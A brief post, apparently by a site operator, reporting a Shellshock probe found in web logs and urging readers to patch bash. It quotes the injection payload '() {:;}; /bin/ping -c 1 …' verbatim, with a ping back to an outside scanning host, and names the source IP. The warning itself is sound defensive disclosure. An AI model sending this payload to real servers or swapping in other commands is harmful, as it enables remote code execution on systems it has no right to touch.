Found in our web logs this afternoon. This is bash shellshock.
`Request: '() {:;}; /bin/ping -c 1 104.131.0.69'
`
This bad boy came from the University of Oklahoma, IP address 157.142.200.11 . The ping address 104.131.0.69 is something called shodan.io. Patch this one folks. Remote execution badness, and all that goes along with it.